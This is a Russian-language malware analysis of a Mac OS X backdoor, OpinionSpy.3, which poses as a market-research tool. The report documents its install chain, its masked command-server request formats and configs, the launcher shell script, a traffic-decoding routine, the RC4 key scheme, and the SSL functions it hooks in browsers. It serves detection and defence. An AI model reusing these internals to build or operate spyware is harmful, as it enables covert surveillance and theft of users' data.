Троянская программа – бэкдор для Mac OS X, позиционируемая разработчиками как утилита, позволяющая проводить маркетинговые исследования и изучать поведение пользователей Интернета. Распространяется на сайтах, предлагающих загрузку ПО для Mac OS X, с использованием следующей схемы.
- Пользователь загружает с сайта дистрибутив приложения, в составе которого имеется файл poinstall, запускающийся при старте инсталлятора. Пакет приложения сделан так, что при его запуске у пользователя будут запрошены привилегии администратора.
- Файл poinstall обращается к управляющему серверу с POST-запросом, в ответ на который получает ссылку на загрузку пакета с расширением .OSA, внутри которого располагается ZIP-архив, содержащий обновление этого дроппера.
- Программа установки извлекает из архива исполняемый файл с именем PremierOpinion и .XML-файлом, содержащим необходимые для его работы конфигурационные данные, после чего запускает этот файл.
- Запустившись на инфицированном компьютере, приложение PremierOpinion также устанавливает соединение с управляющим сервером, получает ссылку на загрузку еще одного пакета с расширением .OSA, из которого извлекает полноценное приложение с именем PremierOpinion, являющееся полезной нагрузкой. Данное приложение включает несколько исполняемых файлов, среди которых /Applications/PremierOpinion/PremierOpinion.app/Contents/MacOS/PremierOpinion — программа, в которой отсутствует какой-либо вредоносный функционал, и бэкдор «/Applications/PremierOpinion/PremierOpinion.app/Contents/Resources/PremierOpinionD.app/Contents/MacOS/PremierOpinionD».
Троянец, получив администраторские права в процессе установки, работает в системе с привилегиями администратора. Если на начальном этапе инсталляции выбрать в окне программы установки вариант «I Disagree», на компьютер будет помещена только программа, которую пользователь скачивал из Интернета без каких-либо дополнительных шпионских компонентов.
Если пользователь выберет вариант «I Agree», помимо скачанного им приложения на компьютер будет установлена программа PremierOpinion, значок которой появится в командной панели и списке установленных приложений. При нажатии на кнопку Uninstall в окне приложения программа полностью удаляется. По щелчку мышью на значке приложения в командной панели запускается браузер, в окне которого открывается веб-страница с описанием приложения PremierOpinion, позиционируемого как утилита для проведения маркетинговых исследований.
https://post.************.com:443/precampaigncheck.aspx?campaign_id=%d
где %d – параметр campaign id, указанный входным параметром. Если был указан параметр -url, то в дальнейшем будет использоваться адрес указанный этим параметром (в конец URL будет дописано значение "?campaign_id=%d").
В ответ на этот запрос дроппер получает с управляющего сервера XML-файл, содержащий три секции: <Status>.. </Status>, <RegistryKey> .. </RegistryKey>, <Campaign_Check_Url> .. </Campaign_Check_Url>:
<?xml version="1.0"?>
<Content>
<Status>1</Status>
<RegistryKey>/private/tmp/poDemo.txt</RegistryKey>
<Campaign_Check_Url>https://post.************.com/CampaignStatusV2.aspx</Campaign_Check_Url>
</Content>
Установка не осуществляется, если поля Status или RegistryKey имеют нулевое значение. Параметр Campaign_Check_Url содержит адрес управляющего сервера, на который отправляется собранная троянцем информация.
Затем poinstall передает на сервер собранную на инфицированном компьютере информацию в виде запроса:
https://post.************.com:443/campaignstatus.aspx?campaign_id=%d&os_type=
%d&ver=%s&mon=%d&monver=%s&time=%d&exe_name=%s&os_version=%s
где campaign_id – идентификатор ID для данной сборки вредоносной программы, os_type - "210", ver - версия файла ("1.0.0.21"), mon – предположительно, флаг наличия "лицензионного ключа", monver - предположительно, содержимое файла с лицензионным ключом, time – текущее время, exe_name - имя запущенного файла, os_version - версия ОС в формате OSVersionMajor.OSVersionMinor.OSVersionBugFix.
В ответ на этот запрос бэкдор должен получить XML-файл, содержащий следующие данные:
<Status> .. </Status>
<UpgradePackage> .. </UpgradePackage>
<Landing_Page> .. </Landing_Page>
<BIDC> .. </BIDC>
<top> .. </top>
<left> .. </left>
<width> .. </width>
<height> .. </height>
<minimize> .. </minimize>
<sleep> .. </sleep>
<Package_Name> .. </Package_Name>
<RegistryPost> .. </RegistryPost>
<Preinstall_Page> .. </Preinstall_Page>
<Uninstall_Page> .. </Uninstall_Page>
<POST_ACTION>
Поле <Package_Name> может содержать URL для загрузки файла с расширением .OSA. Файлы данного типа упакованы с использованием ZLIB и имеют следующий формат:
struct st_osarchive_header
{
DWORD sig0;
DWORD sig4;
BYTE data[0x30];
};
struct st_osarchive_dir
{
DWORD signature;
DWORD signature2;
DWORD compressed_size;
DWORD decompressed_size;
BYTE byte10[0x10];
char filename[0x60];
};
struct st_osarchive_file
{
st_osarchive_header header;
st_osarchive_dir dir1;
BYTE dir1_data[];
...
st_osarchive_dir dirN;
BYTE dirN_data[];
}
Для данного приложения файл .OSA содержит только один вложенный ZIP-архив, в котором размещаются два файла:
PremierOpinion
upgrade.xml
Первый из них представляет собой mach-o файл, второй содержит параметры его запуска:
<xml>
<install brand="PremierOpinion">
<file name="PremierOpinion" dest="%TMPROOT%" postCall=" -install -o:256
-start -uninst:PremierOpinion">
</file>
</install>
</xml>
Приложение poinstall распаковывает данный архив, извлекает из него указанные файлы и запускает на исполнение программу PremierOpinion. Данное приложение также работает только с правами администратора и использует в качестве лог-файла текстовый документ /var/run/installerUserMsg.txt. Затем приложение отсылает на управляющий сервер следующий post-запрос:
http://rules.*************.com/oss/rule14m.asp?cur=3.0.3.1&os=mac2&osmajorver=10
&lang=en-us&country=&test=1&ossname=PremierOpinion
В ответ получает XML файл следующего содержания:
<xml>
<autoupgrade>
<package src="http://oss-content.*************.com/oss/data/
PremierOpinion_3.0.2.14.osa" restartOSS="false" version="3.0.2.14">
<file name="%OSSBRANDROOT%\PremierOpinion.app" version="3.0.2.14" />
<file name="%OSSBRANDROOT%\.PremierOpinionrn.sh" version="3.0.2.14" />
</package>
</autoupgrade>
</xml>
Загруженный с управляющего сервера пакет PremierOpinion_3.0.2.14.osa сохраняется в папку /private/var/run/, префиксом к имени файла добавляется ' . '. Затем содержимое пакета распаковывается в папку /private/var/run/.autoupgrade/, после этого дроппер копирует распакованное приложение в папку "/Application/PremierOpinion/" и запускает бэкдор.
Содержимое файла PremierOpinion_3.0.2.14.osa:
.bms (folder)
PremierOpinion.app (folder)
PremierOpinion.plist
.PremierOpinionrn.sh
upgrade.xml
Каталог .bms содержит плагины для браузеров Chrome и Firefox, каталог PremierOpinion.app представляет собой устанавливаемое приложение, PremierOpinion.plist – файл plist, устанавливаемый в папку /Library/LaunchDaemons/ для автоматической загрузки приложения, .PremierOpinionrn.sh - скрипт, с использованием которого будет запускаться приложение. Он имеет следующее содержание:
#!/bin/sh
MACMETER_PATH=/Applications/PremierOpinion/PremierOpinion.app/Contents/Resources
ACCESSIBILITY_FILE_PATH=/private/var/db/.AccessibilityAPIEnabled
if [ -f $ACCESSIBILITY_FILE_PATH ]
then
exec $MACMETER_PATH/PremierOpinionD.app/Contents/MacOS/PremierOpinionD
else
touch $ACCESSIBILITY_FILE_PATH
exec $MACMETER_PATH/PremierOpinionD.app/Contents/MacOS/PremierOpinionD --DisableAccessibility
fi
Основной вредоносный функционал бэкдора сосредоточен в файле PremierOpinionD.
Разработчики утверждают, что программа PremierOpinion будет следить за историей покупок пользователя и время от времени станет предлагать ему принять участие в маркетинговом исследовании, для чего необходимо будет ответить на ряд вопросов специальной анкеты. Фактически же функциональные возможности Mac.BackDoor.OpinionSpy.3 намного шире заявленных и определяются получаемыми с управляющего сервера конфигурационными файлами. Приложение обладает следующими особенностями:
- Троянец устанавливает свой plist в папку /Library/LaunchDaemons/, благодаря чему обеспечивается его автоматический запуск при отказе программы или перезагрузке системы.
- Устанавливает в браузеры Google Chrome и Mozilla Firefox специальное расширение, отслеживающее активность пользователя: открываемые ссылки, демонстрируемые рекламные блоки, переход по ссылкам (включая реферер), открываемые в окне браузера вкладки. Вся собранная информация методом POST передается на локальный порт 8254, который служит для обмена данными между расширениями и троянцем, а уже сам троянец пересылает их на управляющий сервер.
- Сбор различной информации о посещаемых сайтах в соответствии с несколькими наборами правил.
- Отслеживание трафика, транслируемого через сетевые интерфейсы компьютера. На всех доступных Ethernet-интерфейсах отслеживаются HTTP-пакеты, трафик клиентов для обмена мгновенными сообщениями (Microsoft Messenger, Yahoo! Messenger, AIM, iChat), RTMP-трафик.
- Троянец встраивает собственную библиотеку в процессы браузеров и приложение iChat с целью перехвата некоторых функций работы с сетью.
- Периодически демонстрирует на экране окно с анкетой для участия в "маркетинговом исследовании".
- Модуль троянца позволяет осуществлять сканирование жесткого диска и всех смонтированных в системе носителей, выполнять поиск файлов, соответствующих заданному вирусописателями правилу, и отправлять информацию об этих файлах на удаленный сервер.
- Троянская программа отсылает злоумышленникам сведения об инфицированном компьютере, включая данные об аппаратной конфигурации, список запущенных процессов и т. д.
- Установка собственных обновлений незаметно для пользователя.
Следует отметить, что в браузере Safari Mac.BackDoor.OpinionSpy.3 нарушает работу модуля его локализации.
Для своей работы приложение использует как локальный, так и удаленный конфигурационные файлы, в которых задаются параметры его работы. Пример удаленного конфигурационного файла приведен ниже:
<XML update="144">
<REMOTE_CONFIG
sendContentIDToServer="true"
enableHTMLScanning="false"
enablePopupScanning="false"
filterContentID="true"
enableNSCheck="false"
enableCSLOAStatistics="true"
enableEtrendPull="true"
enableEtrendPullDebug="false"
systemScanInterval="86400"
fileScanInterval="172800"
speedTestInterval="172800"
ProcessListUploadInterval ="12"
enableActivity="true"
enableMSN8NSCheck="true"
enableBrowserMonitor="true"
enableDitto="false"
speedTestLFThreshold="10000"
speedTestLFInterval="172800"
enableRemoteTrace="false"
enableBioMetricMonitor="true"
bioSignatureLength="5"
SpeedTestUploadSize="16384"
MetaDescriptionMaxSize="1024"
enableUpgradePing="true"
speedTestDownloadDir="http://rules.**********.com/oss/"
downloadTestInterval="0"
ELK="2CB27AB060464C682D9AFB01CABACD518297266B8B248CEB972ABDE1737E16D1
4E8C19A5C97432989F598B0537F50A78AF6EDBDAAA5F499F"
EnableAdView="false"
RemoveEVS2="true"
ContentIDPostURL="https://oss-content.***********.com/cidpost"
BandWidthIdleTime="300000"
NoOfSnifferQueueThreads="1"
FFXSpdy="D:35"
DisableChromeSpdy="True"/>
</XML>
Для обеспечения связи с удаленным сервером в приложении хранятся адреса различных ресурсов управляющего сервера, предназначенных для получения правил или отправки данных:
"http://rules.***********.com/oss/rule21.asp";
"http://rules.*************.com/oss/rule1.asp";
"http://rules.*************.com/oss/rule4.asp";
"https://oss-content.*************.com/scripts/contentidpost.dll";
"http://rules.*************.com/oss/rule14m.asp";
"http://oss-survey.*************.com/oss/survey.asp";
"http://rules.*************.com/oss/rule10.asp";
"http://rules.*************.com/oss/rule36.asp";
"http://rules.*************.com/oss/rule22.asp";
"http://hawk.*************.com:8080/dd/dd.aspx";
"http://hawk.*************.com:8080/fd/fd.aspx";
"http://hawk.*************.com/efsi.aspx";
"http://hawk.*************.com:8080/ei/ei.aspx";
"http://hawk.*************.com:8080/dm/dm.aspx";
"http://hawk.*************.com:8080/ita/ita.aspx";
"http://hawk.*************.com/oss_speed_save.asp";
"http://hawk.*************.com/oss_speed_save.asp");
"http://post.*************.com/ossremove.aspx";
"https://post.*************.com/ossreceive.aspx";
"http://rules.*************.com/oss/rule7.asp";
"http://rules.*************.com/oss/rule11.asp";
"http://rules.*************.com/oss/rule17.asp";
"https://post.*************.com/getmembers.aspx";
"http://rules.*************.com/oss/rule23.asp";
"http://rules.*************.com/oss/rule6.asp";
"http://rules.*************.com/oss/rule19.asp";
"http://rules.*************.com/oss/rule24.asp";
"http://rules.*************.com/oss/rule29.asp";
"http://rules.*************.com/oss/rule15.asp";
"http://rules.*************.com/oss/rule20.asp";
"http://hawk.*************.com:80/fs.aspx";
"http://post.*************.com/scripts/debugpostmac.dll";
"http://rules.*************.com/oss/rule26.asp";
"http://rules.*************.com/oss/rule35.asp";
"http://rules.*************.com/oss/rule39.asp";
Часть данных передается в незашифрованном виде, часть – шифруется, если запрашиваемый URL содержит ключевое значение rule, и при совпадении поля "Content-Type" со строкой "application/octet-stream", при этом шифрование двухступенчатое:
- Шифрование, кодирующее бинарные данные в текстовое представление.
- Шифрование с использованием алгоритма RC4, для каждого URL генерируется свой ключ, фиксированный для всех запросов по данному URL.
Функция дешифровки из текстового представления имеет вид:
char table[] =
{0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFE,0xFE,0xFF,0xFF,0xFE,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFE,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x3E,0xFF,0xFF,0xFF,0x3F,
0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,
0xFF,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E,
0x0F,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0x1A,0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,
0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
unsigned int base64_decrypt(unsigned __int8 *indata,unsigned int indata_size,unsigned __int8
*outdata,unsigned __int8 flag)
{
unsigned __int8 s = 0;
unsigned int decrypted_data_len = 0;
int k = 8;
int n = 8;
unsigned int j = 0;
unsigned int i = 0;
while ( i < indata_size )
{
char dec_byte = table[indata[i]];
if ( flag && dec_byte == 0xFFu )
return -1;
if ( dec_byte >= 0 )
{
int v = k - 6;
int b = n;
if ( n > 6 )
{
b = 6;
}
unsigned __int8 tmp = s | ((unsigned __int8)(4 * dec_byte) >> (8 - b));
if ( v <= 0 )
{
outdata[j] = tmp;
++decrypted_data_len;
++j;
n = v + 8;
tmp = (unsigned __int8)((unsigned __int8)(4 * dec_byte) << b) >> (v + 8);
}
else
{
n = k - 6;
}
k = n;
s = tmp << n;
}
++i;
}
return decrypted_data_len;
}
RC4-ключ имеет вид:
psa.XXelur20YY
где YY - значение rule, извлекаемое из запроса, а XX - то же значение, в котором цифры расположены в обратном порядке. Например, для запроса на rule36.asp RC4-ключ имеет вид:
psa.63elur2036
Модуль троянца, FileInventory, осуществляет поиск файлов и каталогов по заданной маске среди локальных файлов зараженного компьютера, а также на всех подмонтированных дисках. В каталоге /Users/ из поиска исключается каталог "/Users/Shared/".
На вход модуль принимает одно или несколько xml-правил следующего вида:
<xml> <file_inventory path="" pattern="" handledirectory="" blacklist=""/> </xml>
path - путь, по которому выполняется поиск необходимых файлов и каталогов, pattern - маска, по которой будет происходить поиск, handledirectory – поиск каталогов, blacklist - флаг, говорящий о том, что из результатов поиска нужно исключить найденные по этому правилу файлы или каталоги. Одно или несколько полей может отсутствовать. На текущий момент были перехвачены и расшифрованы два правила для данного модуля. Для ОС Mac OS X:
<xml>
<file_inventory pattern="*.app" handledirectory="true"/>
</xml>
Согласно данному правилу, троянец собирает список всех установленных приложений. Для ОС Windows троянец также собирает данные о множестве установленных в системе приложений.
Промежуточные результаты сканирования сохраняются в файл /Application/PremierOpinion/shfscp.dat, который упаковывается GZIP. Первый DWORD файла изменен с использованием операции XOR с константой 0xFFABCDFF. Пример распакованного содержимого файла:
/
/.fseventsd
no
366
47
2
0
33554432
1
0
0
0
0
0
32
126002 1 0 0
41153 1 0 0
btree 1 65536 65536
created 1 0 0
db 2 5050368 10100736
directorystorefile 3 1048576 1638400
ds_store 1 12292 12292
file 1 0 0
indexarrays 3 6291456 11620160
indexcompactdirectory 3 4140 9260
indexdirectory 3 16448 32896
indexgroups 3 104858 160564
indexhead 3 4096 12288
indexids 3 1048576 1605632
indexpositions 3 33554432 35655680
indexpositiontable 3 4194304 7136936
indexpostings 3 8388608 16781312
indextermids 3 4194304 7136936
indexupdates 3 178061 178084
modified 1 0 0
plist TextEdit.app 2 3266 3614
shadow 3 1048576 2228224
shadowindexarrays 1 6291456 6291456
shadowindexcompactdirectory 1 3204 3204
shadowindexdirectory 1 14392 14392
shadowindexgroups 2 82054 113869
shadowindexhead 2 4096 8192
shadowindexpositiontable 1 3508968 3508968
shadowindextermids 1 3508968 3508968
snowleopard 1 0 0
txt TextEdit.app 294 192621 1949679
updates 2 3 5
0
0
0
Перед отправкой на управляющий сервер данные сжимаются с использованием GZIP, шифруются с использованием собственной реализации алгоритма base64 и пересылаются с помощью POST-запроса. Модуль также собирает информацию об известных системе файловых расширениях и списке подключенных устройств.
Помимо прочего, троянская программа способна собирать информацию о посещенных пользователем сайтах на основе набора правил, например, по совпадению логической пары «домен - ключевое слово», по совпадению параметров «домен - ключевое слово» в блоке кода или по совпадению URL со значением из заданного списка (совпадения ищутся по списку, включающему более 500 доменов). Также вредоносная программа может отслеживать просмотренные пользователем видеоролики:
<xml update="144"><silverlightnw pattern_kw=".*/qualitylevels.*/fragments.*"
trim_kw="/qualitylevels" />
<silverlightnw pattern_kw="http:\/\/netflix([\d]+).*(?:isma|ismv|wma|wmv)\/range.*
(token=[\d]+)_.*" trim_kw="" />
<silverlightnw pattern_kw="http:\/\/netflix-([\d]+).*(?:isma|ismv|wma|wmv)\/range.*
(&e=[\d]+).*" trim_kw="" />
<silverlightnw pattern_kw="http:\/\/nflx.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflximg\.com.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw="http://nflx.*(?:isma|ismv|wma|wmv)/range.*(e=[\d]+).*" trim_kw="" />
<silverlightnw pattern_kw="http://nflx.*(?:isma|ismv|wma|wmv)/range.*(token=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflximg\.com.*(?:isma|ismv|wma|wmv)\/range.*(e=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*(e=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw=".*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*(moviehash=[\d]+).*"
trim_kw="" />
<silverlightnw pattern_kw="http://([\d]+).*nflxvideo\.net.*(?:isma|ismv|wma|wmv)\/range.*
(token=[\d]+).*" trim_kw="" />
<!-- Streaming rule to collect records for netflix Canada. Requested by Stephanie Johnson
04/18/2013 -->
<silverlightnw pattern_kw="http://.*(?:isma|ismv|wma|wmv)/range.*(e=[\d]+).*" trim_kw="" />
<flvRule pattern_kw="http://.*c.youtube.com/videoplayback?.*id=([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/videoplayback/.*id/([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/mediastream?.*id=([\w]+).*" />
<flvRule pattern_kw="http://.*c.youtube.com/mediastream/.*id/([\w]+).*" />
<flvRule pattern_kw="http://.*/z/nbc-hls/([\w]+).*_Seg.-Frag.*" /></xml>
С целью перехвата ряда сетевых функций троянец встраивает собственную библиотеку в процессы браузеров Safari, Chrome, Firefox. Выполняется перехват функций "_CFSocketGetNative", "_SSLWrite", "_SSLHandshake", "_SSLClose", "_SSLRead", "_CFWriteStreamWrite". Встраиваясь в процесс ichatagent, вредоносная программа перехватывает функцию "_SSLWrite".